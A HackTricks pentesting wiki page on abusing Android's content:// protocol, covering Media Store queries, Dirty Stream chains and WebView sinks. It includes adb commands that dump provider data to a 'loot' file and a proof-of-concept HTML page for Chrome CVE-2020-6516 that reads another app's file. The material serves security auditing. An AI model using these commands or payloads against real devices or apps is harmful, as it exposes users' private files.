content-protocol.md (9865B)
1 --- 2 title: "Content Protocol in Android" 3 section: "Mobile" 4 sectionSlug: "mobile-pentesting" 5 sourcePath: "src/mobile-pentesting/android-app-pentesting/content-protocol.md" 6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/mobile-pentesting/android-app-pentesting/content-protocol.md" 7 sha: "188de82beb54e70956b2952367a0af91d26758b8" 8 isIndex: false 9 modified: true 10 license: "CC-BY-NC-4.0" 11 --- 12 13 # Content Protocol in Android 14 15 **This is a summary of the post [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**<sup>[[3]](#references)</sup> 16 17 This page focuses on abusing the **`content://` protocol itself** (browser/WebView loads, URI grants, share/import flows). For generic provider enumeration, SQLi, path traversal and permission issues, check [**Exploiting Content Providers**](/hacktricks/mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers) and [**Intent Injection**](/hacktricks/mobile-pentesting/android-app-pentesting/intent-injection). 18 19 ### Listing Files in Media Store 20 21 To list files managed by the Media Store, the command below can be used: 22 23 ```bash 24 $ content query --uri content://media/external/file 25 ``` 26 27 For a more human-friendly output, displaying only the identifier and path of each indexed file: 28 29 ```bash 30 $ content query --uri content://media/external/file --projection _id,_data 31 ``` 32 33 Content providers are isolated in their own private namespace. Access to a provider requires the specific `content://` URI. Information about the paths for accessing a provider can be obtained from application manifests or the Android framework's source code.<sup>[[1]](#references)</sup> 34 35 ### Chrome's Access to Content Providers 36 37 Chrome on Android can access content providers through the `content://` scheme, allowing it to access resources like photos or documents exported by third-party applications. To illustrate this, a file can be inserted into the Media Store and then accessed via Chrome: 38 39 Insert a custom entry into the Media Store: 40 41 ```bash 42 cd /sdcard 43 echo "Hello, world!" > test.txt 44 content insert --uri content://media/external/file \ 45 --bind _data:s:/storage/emulated/0/test.txt \ 46 --bind mime_type:s:text/plain 47 ``` 48 49 Discover the identifier of the newly inserted file: 50 51 ```bash 52 content query --uri content://media/external/file \ 53 --projection _id,_data | grep test.txt 54 # Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt 55 ``` 56 57 The file can then be viewed in Chrome using a URL constructed with the file's identifier.<sup>[[1]](#references)</sup> 58 59 For instance, to list files related to a specific application: 60 61 ```bash 62 content query --uri content://media/external/file --projection _id,_data | grep -i <app_name> 63 ``` 64 65 ### Chrome CVE-2020-6516: Same-Origin-Policy Bypass 66 67 The _Same Origin Policy_ (SOP) is a security protocol in browsers that restricts web pages from interacting with resources from different origins unless explicitly allowed by a Cross-Origin-Resource-Sharing (CORS) policy. This policy aims to prevent information leaks and cross-site request forgery. Chrome considers `content://` as a local scheme, implying stricter SOP rules, where each local scheme URL is treated as a separate origin. 68 69 However, CVE-2020-6516 was a vulnerability in Chrome that allowed a bypass of SOP rules for resources loaded via a `content://` URL. In effect, JavaScript code from a `content://` URL could access other resources loaded via `content://` URLs, which was a significant security concern, especially on Android devices running versions earlier than Android 10, where scoped storage was not implemented.<sup>[[1]](#references)</sup> 70 71 The proof-of-concept below demonstrates this vulnerability, where an HTML document, after being uploaded under **/sdcard** and added to the Media Store, uses `XMLHttpRequest` in its JavaScript to access and display the contents of another file in the Media Store, bypassing the SOP rules.<sup>[[1]](#references)</sup> 72 73 Proof-of-Concept HTML: 74 75 ```xml 76 <html> 77 <head> 78 <title>PoC</title> 79 <script type="text/javascript"> 80 function poc() 81 { 82 var xhr = new XMLHttpRequest(); 83 84 xhr.onreadystatechange = function() 85 { 86 if(this.readyState == 4) 87 { 88 if(this.status == 200 || this.status == 0) 89 { 90 alert(xhr.response); 91 } 92 } 93 } 94 95 xhr.open("GET", "content://media/external/file/747"); 96 xhr.send(); 97 } 98 </script> 99 </head> 100 <body onload="poc()"></body> 101 </html> 102 ``` 103 104 Although the Chrome bug is fixed, the pattern is still useful during audits: if a **custom browser**, **embedded WebView**, or **SDK-provided proxy Activity** can be pushed into loading attacker-controlled `content://` or `intent:` URLs, you may still end up with cross-app scripting, data exfiltration, or URI-grant abuse. 105 106 ### Quick Recon for `content://` Attack Surface 107 108 When auditing an app, first map which authorities are reachable and which code paths convert a `content://` URI into a file descriptor, stream, or browser load: 109 110 ```bash 111 # Exported providers and authorities 112 adb shell dumpsys activity providers | grep -i <package> 113 114 # Query structured providers 115 adb shell content query --uri content://<authority>/<path> 116 117 # Dump raw bytes from stream-oriented providers 118 adb shell 'content read --uri content://<authority>/<path>' > loot.bin 119 120 # Ask the provider for the advertised MIME type 121 adb shell content gettype --uri content://<authority>/<path> 122 123 # Reach provider-defined custom methods 124 adb shell content call --uri content://<authority> --method <method> --arg <arg> 125 ``` 126 127 `adb shell content ...` runs as the `shell` UID, so always retest interesting findings from a **normal app context** (for example with Drozer or a small probe APK) before concluding that a third-party app can reach the same data. 128 129 ### Modern Abuse Patterns 130 131 #### Share-target / Dirty Stream chains 132 133 A `content://` URI is not only a **read primitive**. Modern Android apps frequently accept attacker-controlled `content://` streams from `ACTION_SEND`, `ACTION_SEND_MULTIPLE`, import dialogs, or deep-link helpers and then copy them into `cacheDir` / `filesDir`.<sup>[[2]](#references)</sup> 134 135 If the receiving app reuses a provider-controlled name (`OpenableColumns.DISPLAY_NAME`, `Uri.getLastPathSegment()`, etc.) when creating the destination file, a malicious `FileProvider` can turn that flow into **path traversal**, **arbitrary file overwrite**, or even **RCE** if the overwritten file is later interpreted as configuration, a database, or a native library.<sup>[[2]](#references)</sup> 136 137 Useful code-review grep: 138 139 ```bash 140 rg -n "ACTION_SEND|ACTION_SEND_MULTIPLE|EXTRA_STREAM|OpenableColumns.DISPLAY_NAME|getLastPathSegment|openInputStream|openFileDescriptor|FileOutputStream|cacheDir|filesDir" -g '*.java' -g '*.kt' . 141 ``` 142 143 High-value targets to chain with `content://` imports: 144 145 - Exported or deep-link reachable **share/import Activities** 146 - Code paths that copy incoming streams into **private app storage** 147 - Apps that later auto-load files from `shared_prefs`, plugin folders, or app-private library directories 148 - Helpers that only validate the **scheme** (`content://`) but not the **provider authority**, canonical path, or destination filename 149 150 #### WebView / browser sink triage 151 152 `content://` is also interesting whenever an app mixes **attacker-controlled navigation** with a WebView. `WebView` enables `content://` access by default, so if the app loads untrusted URLs, allows `intent:` reparsing, or forwards arbitrary URLs to a browser-like component, you should test `content://` payloads in addition to the usual `https://` and custom-scheme payloads. 153 154 Useful grep: 155 156 ```bash 157 rg -n "loadUrl\(|loadDataWithBaseURL\(|setAllowContentAccess\(|setJavaScriptEnabled\(|shouldOverrideUrlLoading\(|Intent.parseUri\(" -g '*.java' -g '*.kt' . 158 ``` 159 160 If you find a chain where an attacker controls a URL and the app later reparses it into an `Intent`, continue with [**Intent Injection**](/hacktricks/mobile-pentesting/android-app-pentesting/intent-injection). If the sink is an embedded browser, also review [**WebView Attacks**](/hacktricks/mobile-pentesting/android-app-pentesting/webview-attacks). 161 162 #### Tree/document URIs and long-lived grants 163 164 On modern Android versions, direct `/sdcard` paths matter less than **granted** document URIs such as `content://com.android.externalstorage.documents/...` or other `DocumentsProvider` authorities returned by `ACTION_OPEN_DOCUMENT` / `ACTION_OPEN_DOCUMENT_TREE`. 165 166 From an offensive perspective, these URIs are attractive because a vulnerable app may call `takePersistableUriPermission()` after receiving them. That turns a one-shot `content://` access into a **long-lived grant** that can survive app restarts or even device reboots. When chaining an exported proxy Activity or an intent-redirection bug, prefer testing **document/tree URIs** in addition to plain MediaStore paths. 167 168 ## References 169 170 - [1] [CENSUS - Remote exploitation of a man-in-the-disk vulnerability in WhatsApp (CVE-2021-24027)](https://www.census-labs.com/resources/remote-exploitation-of-a-man-in-the-disk-vulnerability-in-whatsapp-cve-2021-24027) 171 - [2] [Microsoft - "Dirty stream" attack: Discovering and mitigating a common vulnerability pattern in Android apps](https://www.microsoft.com/en-us/security/blog/2024/05/01/dirty-stream-attack-discovering-and-mitigating-a-common-vulnerability-pattern-in-android-apps/) 172 - [3] [census-labs.com - Whatsapp Mitd Remote Exploitation CVE 2021 24027](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027)